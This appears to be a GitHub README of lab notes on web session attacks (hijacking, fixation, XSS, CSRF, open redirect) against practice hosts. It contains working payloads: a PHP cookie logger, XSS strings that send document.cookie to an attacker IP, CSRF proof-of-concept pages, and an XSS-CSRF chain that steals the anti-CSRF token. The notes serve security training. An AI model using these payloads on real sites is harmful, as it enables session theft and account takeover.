Skip to content

Latest commit

 

History

History
384 lines (266 loc) · 18 KB

README.md

File metadata and controls

384 lines (266 loc) · 18 KB

Session Security

  1. Session Hijacking
  2. Session Fixation
  3. Obtaining Session Identifiers without User Interaction
  4. XSS
  5. Cross-Site Request Forgery
  6. XSS & CSRF Chaining
  7. Exploiting Weak CSRF Tokens
  8. Open Redirect
  9. Skills Assessment

Session Hijacking

  • HTTP is a stateless protocol, so each request should carry required info for server, and session state resides on client-side

  • Session ID - token based on which user sessions are generated & differentiated

  • Modifying /etc/hosts to work with vhosts:

    IP=10.10.24.120
#target machine IP

printf "%s\t%s\n\n" "$IP" "xss.htb.net csrf.htb.net oredirect.htb.net minilab.htb.net" | sudo tee -a /etc/hosts

  • Session hijacking - taking advantage of insecure session identifiers and using them to impersonate victim and authenticate to server; session identifiers can be commonly found by passive traffic sniffing, XSS attacks, browser history, log diving or read access to DB containing info

  • For given example, we can login using given creds; after login, we can see a cookie named auth-session, which is mostly as the session identifier here

  • Suppose we somehow got access to this cookie value; if we navigate to this website in a new private window, and replace the current auth-session cookie value with the copied value and reload the page, we login as the previous user

Session Fixation

  • These attacks occur when attacker can fixate a valid session identifier

  • Stages of attack:

    • attacker manages to obtain a valid session identifier
    • attacker manages to fixate a valid session identifier (it remains the same post-login; and the values are accepted from URL query strings or POST data)
    • attacker tricks victim into establishing a session using above session identifier

  • For given example, we can see a token in URL, and a PHPSESSID cookie with the same value as the token

  • If the value of the token in URL is changed, so does the PHPSESSID cookie; this indicates session fixation. Another way to check for this is by trying to pass the cookie value as a parameter (?PHPSESSID=cookievalue) and check if that value is propagated

  • An attacker could send a modified URL now to a victim; if victim logs in, attacker can hijack the session since session identifier is known after fixation

Obtaining Session Identifiers without User Interaction

  • Traffic sniffing:

    • requires attacker and victim to be on same network, and HTTP traffic should be unencrypted

    • use Wireshark - sudo -E wireshark - and start sniffing on tun0 interface

    • if we login as a valid user in the given website, and filter for HTTP traffic in Wireshark, we can then search for any auth-session cookies ('Find Packet' with 'Packet bytes' and 'String' options)

    • we get packets with this cookie value - this can be used to login as a user, bypassing the login page

  • Web server access:

    • in post-exploitation phase, if we have access to web server, we can try to fetch session identifiers

    • In case of PHP web server -

      locate php.ini
# session.save_path entry to be found in this file

cat /etc/php/7.4/cli/php.ini | grep 'session.save_path'

cat /etc/php/7.4/apache2/php.ini | grep 'session.save_path'
# this shows the path where sessions are saved

ls /var/lib/php/sessions
# view files named sess_<sessionID>
# this sessionID in filename can be used as cookie value for PHPSESSID

  • Database access:

    • in post-exploitation phase, if we have access to DB, we can check for stored user sessions -

      show databases;

use project;

show tables;

select * from users;

select * from all_sessions;

XSS

  • For XSS (cross-site scripting) attacks to result in session cookie leakage, session cookies should be carried in all HTTP requests and they should be accessible by JS code (HTTPOnly attribute should be missing)

  • We can start by testing XSS payloads with event handlers like onload, onerror or onmouseover:

    "><img src=x onerror=prompt(document.domain)>

"><img src=x onerror=confirm(1)>

"><img src=x onerror=alert(1)>
// these payloads can be tested in all available fields

  • We need to test input fields with all possible payloads, and also test all app functionality to execute the payload; in given example, the 'Share' functionality triggers the payload "><img src=x onerror=alert(1)> (HTTPOnly is 'off' in this case)

  • Simple cookie-logging script ('log.php') to obtain a victim's session cookie - this waits for anyone to request ?c=+document.cookie, then it parses the cookie:

    <?php
$logFile = "cookieLog.txt";
$cookie = $_REQUEST["c"];

$handle = fopen($logFile, "a");
fwrite($handle, $cookie . "\n\n");
fclose($handle);

header("Location: http://www.google.com/");
exit;
?>

  • Host the script using php -S 10.10.120.14:8000; for the vulnerable field found above, we can use a payload like this:

    <style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location = 'http://10.10.120.14:8000/log.php?c=' + document.cookie;"></video>
// the payload has to be crafted like this for evasion

// if HTTPS payload was required
<h1 onmouseover='document.write(`<img src="https://CUSTOMLINK?cookie=${btoa(document.cookie)}">`)'>test</h1>
// we can use something like interactsh here for OOB communication

  • If we login as a victim for given webapp, and navigate to http://xss.htb.net/[email protected] (attacker-crafted profile, containing link to the profile tampered with previously - the link is found from the 'Share' function), we can see that the PHP server captures the request; the victim's cookie would be logged in the 'cookieLog.txt' file

  • Instead of the cookie logging script, we can also use netcat - nc -nvlp 8000 - and a payload like <h1 onmouseover='document.write(`<img src="http://10.10.120.14:8000?cookie=${btoa(document.cookie)}">`)'>test</h1> or <script>fetch(`http://10.10.120.14:8000?cookie=${btoa(document.cookie)}`)</script> can be used; the cookie value can be later decoded using atob() function

Cross-Site Request Forgery

  • CSRF/XSRF attacks use malicious requests to perform unwanted functions on victim's behalf

  • Webapp is vulnerable to CSRF if all parameters required for target request can be determined/guessed, and session management is solely based on HTTP cookies (and included in requests)

  • To exploit a CSRF vulnerability, while the victim is logged into the app, we need to craft a malicious webpage that issues a valid cross-site request impersonating the victim

  • For given webapp, we can intercept a request which shows that no anti-CSRF tokens are being used

  • To test an attack, we can serve an HTML page including fields from our sample webapp - host it using python3 -m http.server 8000:

    <html>
  <body>
    <form id="submitMe" action="http://xss.htb.net/api/update-profile" method="POST">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="telephone" value="&#40;227&#41;&#45;750&#45;8112" />
      <input type="hidden" name="country" value="CSRF_POC" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.getElementById("submitMe").submit()
    </script>
  </body>
</html>

  • Now, while we are logged in as victim in given webapp, we can open a new tab and visit the page we are hosting at http://10.10.120.14:8000/notmalicious.html - we can see that the victim profile details change to the one specified in above HTML code, because of this cross-site request

  • CSRF (GET-based):

    • for given app, when we intercept the request for the 'Save' function, we can see that CSRF token is included in GET request:

      GET /app/save/[email protected]?telephone=%28834%29-609-2003&country=United+States&csrf=7a2ee594d11367dee8ef7c7de71efd7c145f4c73&email=julie.rogers%40example.com&action=save HTTP/1.1

    • we can start by serving a crafted HTML page, based off the fields included in the GET request, like done previously - the CSRF token has to be the same as the intercepted request:

      <html>
  <body>
    <form id="submitMe" action="http://csrf.htb.net/app/save/[email protected]" method="GET">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="telephone" value="&#40;227&#41;&#45;750&#45;8112" />
      <input type="hidden" name="country" value="CSRF_POC" />
      <input type="hidden" name="action" value="save" />
      <input type="hidden" name="csrf" value="7a2ee594d11367dee8ef7c7de71efd7c145f4c73" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.getElementById("submitMe").submit()
    </script>
  </body>
</html>

    • once the page is hosted, while victim is logged in, we can open a new tab and visit the crafted webpage like before

  • CSRF (POST-based):

    • for given webapp, we have a 'Delete' functionality - clicking on it leads us to '/app/delete/[email protected]', and the webpage too mentions the email

    • if we try inputting some HTML values in the email value in URL - like <h1>h1<u>underline<%2fu><%2fh1> - we can see the payload is reflected in page as well

    • from page source, we can also view that the injection happens before a single-quote (used for next attribute); we can abuse this to leak the CSRF token

    • start listening using netcat - nc -nvlp 8000 - and we can use this payload in URL - <table%20background='%2f%2f10.10.120.14:8000%2f (URL-decoded form of <table background='//10.10.120.14:8000/)

    • while we are still logged in, if we visit the page http://csrf.htb.net/app/delete/%3Ctable background='%2f%2f10.10.120.14:8000%2f, we can see the CSRF token in netcat

XSS & CSRF Chaining

  • For given app, it's mentioned that same origin/same site protections are used as anti-CSRF measures. We also have a given field ('Country') vulnerable to stored XSS attacks

  • We can intercept a few requests to understand the app, following which we can craft a payload for 'Country' field to successfully execute a CSRF attack changing victim's visibility settings. Example payload:

    // wrapped in <script> so that it is rendered as JS
<script>
var req = new XMLHttpRequest(); // creates an objectvariable called req - to generate a request
req.onload = handleResponse; // onload event handler - performs action once page has been loaded
req.open('get','/app/change-visibility',true); // arguments - request method, targeted path and 'true'
req.send(); // sends the request

function handleResponse(d) {
    var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1]; // token gets value of responseText from page specified in request
    // the way to identify this differs in each app - so we can inspect page or source code
    var changeReq = new XMLHttpRequest(); // to construct HTTP request to be sent through XMLHttpRequest object
    changeReq.open('post', '/app/change-visibility', true); // after first request to move to targeted page, we change request method from GET to POST
    changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); // set Content-Type header
    changeReq.send('csrf='+token+'&action=change'); // send request with data of 2 parameters - csrf with token value, and action with 'change' value
    // these values were derived after intercepting request while changing visibility of profile
};
</script>

  • Now, we can submit this payload in 'Country' field for given profile. Then, in a new private window, if we login to another profile which is currently 'Private', and browse to attacker-modified public profile using a link like http://minilab.htb.net/[email protected] - this modifies the new victim's profile from 'Private' to 'Public'

Exploiting Weak CSRF Tokens

  • For given webapp, we can change visibility of given profile and check the CSRF token value in the intercepted request

  • Then, we can use CyberChef to try decoding the CSRF token - or attempting patterns such as md5(username), sha1(username) or md5(date + username) to check for any pitfalls in CSRF token mechanism

  • Example exploit to attack users through CSRF:

    <!-- name this file as 'press_start_2_win.html -->
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="referrer" content="never">
    <title>Proof-of-concept</title>
    <link rel="stylesheet" href="styles.css">
    <script src="./md5.min.js"></script>
</head>

<body>
    <h1> Click Start to win!</h1>
    <button class="button" onclick="trigger()">Start!</button>

    <script>
        let host = 'http://csrf.htb.net'

        function trigger(){
            // Creating/Refreshing the token in server side.
            window.open(`${host}/app/change-visibility`)
            window.setTimeout(startPoc, 2000)
        }

        function startPoc() {
            // Setting the username
            let hash = md5("crazygorilla983")

            window.location = `${host}/app/change-visibility/confirm?csrf=${hash}&action=change`
        }
    </script>
</body>
</html>
    # fetch md5.min.js for MD5 hash functionality to be implemented in press_start_2_win.html
wget https://raw.githubusercontent.com/blueimp/JavaScript-MD5/master/js/md5.min.js

# host the page
python3 -m http.server 8000

  • Now, if we navigate to target app in a private window and login as victim, we can use the exploit here to make the profile public

  • While logged in as victim, navigate to the page hosted at http://10.10.12.80:8000/press_start_2_win.html and click on Start - once we do that, the profile becomes public

  • Additional CSRF protection bypasses:

    • Null CSRF token value
    • Random CSRF token value
    • Another session's CSRF token
    • Request method tampering (HTTP verb tampering)
    • Delete CSRF token parameter or send blank token
    • Session fixation to bypass double-submit cookie (same random token as both cookie and request parameter)
    • Bypass referrer header regex or remove referrer header (add tag <meta name="referrer" content="no-referrer" in page hosting CSRF script)

Open Redirect

  • Open Redirect vuln - occurs when an attacker can redirect a victim to a malicious site by abusing a legit app's redirection function

  • For example, when bug hunting, if we come across a URL like /login.php?redirect=dashboard, we can check for URL parameters to modify it to login.php?redirect=https://evil.com:

    • ?url=
    • ?link=
    • ?redirect=
    • ?redirecturl=
    • ?redirect_uri=
    • ?return=
    • ?return_to=
    • ?returnurl=
    • ?go=
    • ?goto=
    • ?exit=
    • ?exitpage=
    • ?fromurl=
    • ?fromuri=
    • ?redirect_to=
    • ?next=
    • ?newurl=
    • ?redir=

  • For given app, on submitting the form, a POST request is done to page mentioned in redirect_uri parameter

  • Test this by setting up a listener - nc -nvlp 4444 - and in the redirect_uri parameter we can mention http://10.10.66.14:4444; if we submit the form and a connection is made in our listener, then the app is vulnerable to Open Redirect.

Skills Assessment

  • From given info, we have to hijack admin session on endpoint http://minilab.htb.net/submit-solution after logging in with given creds

  • The '/submit-solution' endpoint needs a ?url parameter to be specified - if we setup a listener and specify our URL here, we can catch a response but it does not help much

  • We can start by testing payloads for given profile - we can inject XSS payloads in all 3 fields and see which gets triggered when we use some other app functionality like 'Save' or 'Share'

  • The payload <img src=x onerror=alert(1)> when injected in the 'Country' field gets triggered on using the 'Share' functionality of the app

  • After injecting the payload, we can keep note of the profile link on 'Share' - http://minilab.htb.net/[email protected] - since that's when the XSS payload gets triggered and we see the alert

  • Now that we know this field is vulnerable to XSS, we can modify this payload to get the admin user's session cookies and eventually hijack the session; as we do not have direct access to the admin user, we will have to use this technique so that we can listen for the cookie as soon as someone uses it

  • We can follow the cookie logging script as previously done:

    <?php
$logFile = "cookieLog.txt";
$cookie = $_REQUEST["c"];

$handle = fopen($logFile, "a");
fwrite($handle, $cookie . "\n\n");
fclose($handle);

header("Location: http://www.google.com/");
exit;
?>

  • And, we can use the following payload in the 'Country' field and save:

    <style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location = 'http://10.10.120.14:8000/log.php?c=' + document.cookie;"></video>

  • Host the PHP file using php -S 10.10.120.14:8000 and then submit the malicious URL http://minilab.htb.net/[email protected] in the 'url' parameter at '/submit-solution' endpoint

  • In our PHP server, we are able to capture the cookie, and the endpoint gives a JSON response with 'adminVisited' set to 'true'

  • Now, this cookie value can be used to replace the current auth-session cookie value (in Web Developer Tools), and then refresh the page - we get the admin profile now. Change profile visibility to get the flag